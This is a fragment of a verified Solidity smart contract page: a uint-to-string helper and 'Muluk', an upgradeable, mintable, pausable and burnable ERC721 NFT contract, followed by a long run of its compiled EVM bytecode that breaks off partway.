https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol */ function fromUint256(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: contracts\Muluk.sol pragma solidity ^0.5.0; contract Muluk is Initializable, ERC721Full, ERC721Pausable, ERC721Burnable, ERC721Mintable { function initialize(address sender) public initializer { ERC721.initialize(); ERC721Metadata.initialize('Muluk', 'MULK'); ERC721Enumerable.initialize(); ERC721Mintable.initialize(sender); ERC721Pausable.initialize(sender); _setBaseURI('https://nooxcommunity.com/tokens/getMetadata/'); } function setBaseURI(string memory baseURI) public onlyMinter returns (bool) { _setBaseURI(baseURI); } function mintWithTokenURI(address to, uint256 tokenId) public onlyMinter returns (bool) { _mint(to, tokenId); _setTokenURI(tokenId, Strings.fromUint256(tokenId)); return true; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c80636c0360eb1161012557806398650275116100ad578063ab8f2b5d1161007c578063ab8f2b5d14610d24578063b88d4fde14610d8a578063c4d66de814610e8f578063c87b56dd14610ed3578063e985e9c514610f7a57610211565b80639865027514610c08578063a144819414610c12578063a22cb46514610c78578063aa271e1a14610cc857610211565b806382dc1ec4116100f457806382dc1ec4146109f65780638456cb5914610a3a5780638832e6e314610a4457806395d89b4114610b41578063983b2d5614610bc457610211565b80636c0360eb146109075780636ef8d66d1461098a57806370a08231146109945780638129fc1c146109ec57610211565b806340c10f19116101a85780634cd88b76116101775780634cd88b76146106105780634f6ccce71461076257806355f804b3146107a45780635c975abb146108775780636352211e1461089957610211565b806340c10f19146104b257806342842e0e1461051857806342966c681461058657806346fbf68e146105b457610211565b806318160ddd116101e457806318160ddd146103ba57806323b872dd146103d85780632f745c59146104465780633f4ba83a146104a857610211565b806301ffc9a71461021657806306fdde031461027b578063081812fc146102fe578063095ea7b31461036c575b600080fd5b6102616004803603602081101561022c57600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610ff6565b604051808215151515815260200191505060405180910390f35b61028361105e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102c35780820151818401526020810190506102a8565b50505050905090810190601f1680156102f05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61032a6004803603602081101561031457600080fd5b8101908080359060200190929190505050611100565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b86004803603604081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061119b565b005b6103c261122d565b6040518082815260200191505060405180910390f35b610444600480360360608110156103ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061123a565b005b6104926004803603604081101561045c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112b0565b6040518082815260200191505060405180910390f35b6104b061136f565b005b6104fe600480360360408110156104c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114df565b604051808215151515815260200191505060405180910390f35b6105846004803603606081101561052e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061155a565b005b6105b26004803603602081101561059c57600080fd5b810190808035906020019092919050505061157a565b005b6105f6600480360360208110156105ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ec565b604051808215151515815260200191505060405180910390f35b6107606004803603604081101561062657600080fd5b810190808035906020019064010000000081111561064357600080fd5b82018360208201111561065557600080fd5b8035906020019184600183028401116401000000008311171561067757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156106da57600080fd5b8201836020820111156106ec57600080fd5b8035906020019184600183028401116401000000008311171561070e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061160a565b005b61078e6004803603602081101561077857600080fd5b810190808035906020019092919050505061175a565b6040518082815260200191505060405180910390f35b61085d600480360360208110156107ba57600080fd5b81019080803590602001906401000000008111156107d757600080fd5b8201836020820111156107e957600080fd5b8035906020019184600183028401116401000000008311171561080b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506117da565b604051808215151515815260200191505060405180910390f35b61087f61184f565b604051808215151515815260200191505060405180910390f35b6108c5600480360360208110156108af57600080fd5b8101908080359060200190929190505050611867565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61090f61192f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561094f578082015181840152602081019050610934565b50505050905090810190601f16801561097c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109926119d1565b005b6109d6600480360360208110156109aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119e3565b6040518082815260200191505060405180910390f35b6109f4611ab8565b005b610a3860048036036020811015610a0c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd8565b005b610a42611c49565b005b610b2760048036036060811015610a5a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610aa157600080fd5b820183602082011115610ab357600080fd5b80359060200191846001830284011164010000000083111715610ad557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611dba565b604051808215151515815260200191505060405180910390f35b610b49611e37565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b89578082015181840152602081019050610b6e565b50505050905090810190601f168015610bb65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610c0660048036036020811015610bda57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ed9565b005b610c10611f4a565b005b610c5e60048036036040811015610c2857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f5c565b604051808215151515815260200191505060405180910390f35b610cc660048036036040811015610c8e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611fd7565b005b610d0a60048036036020811015610cde57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612069565b604051808215151515815260200191505060405180910390f35b610d7060048036036040811015610d3a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612087565b604051808215151515815260200191505060405180910390f35b610e8d60048036036080811015610da057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610e0757600080fd5b820183602082011115610e1957600080fd5b80359060200191846001830284011164010000000083111715610e3b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612114565b005b610ed160048036036020811015610ea557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061218c565b005b610eff60048036036020811015610ee957600080fd5b8101908080359060200190929190505050612343565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f3f578082015181840152602081019050610f24565b50505050905090810190601f168015610f6c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610fdc60048036036040811015610f9057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612545565b604051808215151515815260200191505060405180910390f35b600060336000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060d28054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110f65780601f106110cb576101008083540402835291602001916110f6565b820191906000526020600020905b8154815290600101906020018083116110d957829003601f168201915b5050505050905090565b600061110b826125d9565b611160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614e09602c913960400191505060405180910390fd5b6067600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b61016c60009054906101000a900460ff161561121f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611229828261264b565b5050565b6000609e80549050905090565b61124b611245612832565b8261283a565b6112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180614f2a6031913960400191505060405180910390fd5b6112ab83838361292e565b505050565b60006112bb836119e3565b8210611312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180614c50602b913960400191505060405180910390fd5b609c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061135c57fe5b9060005260206000200154905092915050565b61137f61137a612832565b6115ec565b6113d4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614cad6030913960400191505060405180910390fd5b61016c60009054906101000a900460ff16611457576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b600061016c60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61149c612832565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60006114f16114ec612832565b612069565b611546576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614db86030913960400191505060405180910390fd5b61155083836129c2565b6001905092915050565b61157583838360405180602001604052806000815250612114565b505050565b61158b611585612832565b8261283a565b6115e0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614fac6030913960400191505060405180910390fd5b6115e9816129e3565b50565b6000611603826101396129f890919063ffffffff16565b9050919050565b600060019054906101000a900460ff16806116295750611628612ad6565b5b8061164057506000809054906101000a900460ff16155b611695576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff1615905080156116e5576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6116ed612aed565b6116f657600080fd5b8260d2908051906020019061170c929190614b09565b508160d39080519060200190611723929190614b09565b50611734635b5e139f60e01b612b04565b80156117555760008060016101000a81548160ff0219169083151502179055505b505050565b600061176461122d565b82106117bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614f5b602c913960400191505060405180910390fd5b609e82815481106117c857fe5b90600052602060002001549050919050565b60006117ec6117e7612832565b612069565b611841576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614db86030913960400191505060405180910390fd5b61184a82612c0d565b919050565b600061016c60009054906101000a900460ff16905090565b6000806066600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611926576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180614d8f6029913960400191505060405180910390fd5b80915050919050565b606060d58054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119c75780601f1061199c576101008083540402835291602001916119c7565b820191906000526020600020905b8154815290600101906020018083116119aa57829003601f168201915b5050505050905090565b6119e16119dc612832565b612c27565b565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614d65602a913960400191505060405180910390fd5b611ab1606860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612c82565b9050919050565b600060019054906101000a900460ff1680611ad75750611ad6612ad6565b5b80611aee57506000809054906101000a900460ff16155b611b43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff161590508015611b93576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b611b9b612aed565b611ba457600080fd5b611bb463780e9d6360e01b612b04565b8015611bd55760008060016101000a81548160ff0219169083151502179055505b50565b611be8611be3612832565b6115ec565b611c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614cad6030913960400191505060405180910390fd5b611c4681612c90565b50565b611c59611c54612832565b6115ec565b611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614cad6030913960400191505060405180910390fd5b61016c60009054906101000a900460ff1615611d32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b600161016c60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611d77612832565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000611dcc611dc7612832565b612069565b611e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614db86030913960400191505060405180910390fd5b611e2c848484612ceb565b600190509392505050565b606060d38054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ecf5780601f10611ea457610100808354040283529160200191611ecf565b820191906000526020600020905b815481529060010190602001808311611eb257829003601f168201915b5050505050905090565b611ee9611ee4612832565b612069565b611f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614db86030913960400191505060405180910390fd5b611f4781612d5c565b50565b611f5a611f55612832565b612db7565b565b6000611f6e611f69612832565b612069565b611fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614db86030913960400191505060405180910390fd5b611fcd8383612e12565b6001905092915050565b61016c60009054906101000a900460ff161561205b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6120658282612e30565b5050565b6000612080826102036129f890919063ffffffff16565b9050919050565b6000612099612094612832565b612069565b6120ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614db86030913960400191505060405180910390fd5b6120f883836129c2565b61210a8261210584612fe8565b613118565b6001905092915050565b61212561211f612832565b8361283a565b61217a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180614f2a6031913960400191505060405180910390fd5b612186848484846131a2565b50505050565b600060019054906101000a900460ff16806121ab57506121aa612ad6565b5b806121c257506000809054906101000a900460ff16155b612217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff161590508015612267576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b61226f613214565b6122e36040518060400160405280600581526020017f4d756c756b0000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4d554c4b0000000000000000000000000000000000000000000000000000000081525061160a565b6122eb611ab8565b6122f48261332b565b6122fd82613445565b61231e6040518060600160405280602d8152602001614c23602d9139612c0d565b801561233f5760008060016101000a81548160ff0219169083151502179055505b5050565b606061234e826125d9565b6123a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180614eda602f913960400191505060405180910390fd5b606060d460008481526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561244c5780601f106124215761010080835404028352916020019161244c565b820191906000526020600020905b81548152906001019060200180831161242f57829003601f168201915b505050505090506000815114156124755760405180602001604052806000815250915050612540565b60d58160405160200180838054600181600116156101000203166002900480156124d65780601f106124b45761010080835404028352918201916124d6565b820191906000526020600020905b8154815290600101906020018083116124c2575b505082805190602001908083835b6020831061250757805182526020820191506020810190506020830392506124e4565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040529150505b919050565b6000606960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000806066600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415915050919050565b600061265682611867565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156126dd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614f096021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166126fc612832565b73ffffffffffffffffffffffffffffffffffffffff16148061272b575061272a81612725612832565b612545565b5b612780576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180614d2d6038913960400191505060405180910390fd5b826067600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600033905090565b6000612845826125d9565b61289a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614d01602c913960400191505060405180910390fd5b60006128a583611867565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061291457508373ffffffffffffffffffffffffffffffffffffffff166128fc84611100565b73ffffffffffffffffffffffffffffffffffffffff16145b8061292557506129248185612545565b5b91505092915050565b61016c60009054906101000a900460ff16156129b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6129bd83838361355f565b505050565b6129cc8282613583565b6129d6828261379b565b6129df81613862565b5050565b6129f56129ef82611867565b826138ae565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614e616022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000803090506000813b9050600081149250505090565b6000612aff6380ac58cd60e01b610ff6565b905090565b63ffffffff60e01b817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415612ba0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433136353a20696e76616c696420696e746572666163652069640000000081525060200191505060405180910390fd5b600160336000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b8060d59080519060200190612c23929190614b09565b5050565b612c3c8161013961390b90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b600081600001549050919050565b612ca5816101396139c890919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b612cf583836129c2565b612d026000848484613aa3565b612d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180614c7b6032913960400191505060405180910390fd5b505050565b612d71816102036139c890919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b612dcc8161020361390b90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b612e2c828260405180602001604052806000815250612ceb565b5050565b612e38612832565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ed9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b8060696000612ee6612832565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16612f93612832565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051808215151515815260200191505060405180910390a35050565b60606000821415613030576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613113565b600082905060005b6000821461305a578080600101915050600a828161305257fe5b049150613038565b6060816040519080825280601f01601f19166020018201604052801561308f5781602001600182028038833980820191505090505b50905060006001830390508593505b6000841461310b57600a84816130b057fe5b0660300160f81b828280600190039350815181106130ca57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a848161310357fe5b04935061309e565b819450505050505b919050565b613121826125d9565b613176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614e35602c913960400191505060405180910390fd5b8060d46000848152602001908152602001600020908051906020019061319d929190614b09565b505050565b6131ad84848461292e565b6131b984848484613aa3565b61320e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180614c7b6032913960400191505060405180910390fd5b50505050565b600060019054906101000a900460ff16806132335750613232612ad6565b5b8061324a57506000809054906101000a900460ff16155b61329f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff1615905080156132ef576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6132f7613ddf565b6133076380ac58cd60e01b612b04565b80156133285760008060016101000a81548160ff0219169083151502179055505b50565b600060019054906101000a900460ff168061334a5750613349612ad6565b5b8061336157506000809054906101000a900460ff16155b6133b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff161590508015613406576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b61340e612aed565b61341757600080fd5b61342082613eee565b80156134415760008060016101000a81548160ff0219169083151502179055505b5050565b600060019054906101000a900460ff16806134645750613463612ad6565b5b8061347b57506000809054906101000a900460ff16155b6134d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff161590508015613520576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b613528612aed565b61353157600080fd5b61353a82614005565b801561355b5760008060016101000a81548160ff0219169083151502179055505b5050565b61356a83838361412a565b6135748382614385565b61357e828261379b565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613626576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b61362f816125d9565b156136a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b816066600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061373b606860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020614523565b808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b609c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050609d600083815260200190815260200160002081905550609c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190806001815401808255809150509060018203906000526020600020016000909192909190915055505050565b609e80549050609f600083815260200190815260200160002081905550609e81908060018154018082558091505090600182039060005260206000200160009091929091909150555050565b6138b88282614539565b600060d46000838152602001908152602001600020805460018160011615610100020316600290049050146139075760d4600082815260200190815260200160002060006139069190614b89565b5b5050565b61391582826129f8565b61396a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614de86021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6139d282826129f8565b15613a45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000613ac48473ffffffffffffffffffffffffffffffffffffffff16614573565b613ad15760019050613dd7565b600060608573ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1663150b7a02905060e01b613b15612832565b898888604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015613bc5578082015181840152602081019050613baa565b50505050905090810190601f168015613bf25780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310613c8a5780518252602082019150602081019050602083039250613c67565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613cec576040519150601f19603f3d011682016040523d82523d6000602084013e613cf1565b606091505b509150915081613d5f57600081511115613d0e5780518082602001fd5b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180614c7b6032913960400191505060405180910390fd5b6000818060200190516020811015613d7657600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161493505050505b949350505050565b600060019054906101000a900460ff1680613dfe5750613dfd612ad6565b5b80613e1557506000809054906101000a900460ff16155b613e6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff161590508015613eba576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b613eca6301ffc9a760e01b612b04565b8015613eeb5760008060016101000a81548160ff0219169083151502179055505b50565b600060019054906101000a900460ff1680613f0d5750613f0c612ad6565b5b80613f2457506000809054906101000a900460ff16155b613f79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff161590508015613fc9576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b613fd282612069565b613fe057613fdf82612d5c565b5b80156140015760008060016101000a81548160ff0219169083151502179055505b5050565b600060019054906101000a900460ff16806140245750614023612ad6565b5b8061403b57506000809054906101000a900460ff16155b614090576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614e83602e913960400191505060405180910390fd5b60008060019054906101000a900460ff1615905080156140e0576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6140e9826145be565b600061016c60006101000a81548160ff02191690831515021790555080156141265760008060016101000a81548160ff0219169083151502179055505b5050565b8273ffffffffffffffffffffffffffffffffffffffff1661414a82611867565b73ffffffffffffffffffffffffffffffffffffffff16146141b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180614eb16029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561423c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614cdd6024913960400191505060405180910390fd5b614245816146d5565b61428c606860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020614793565b6142d3606860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff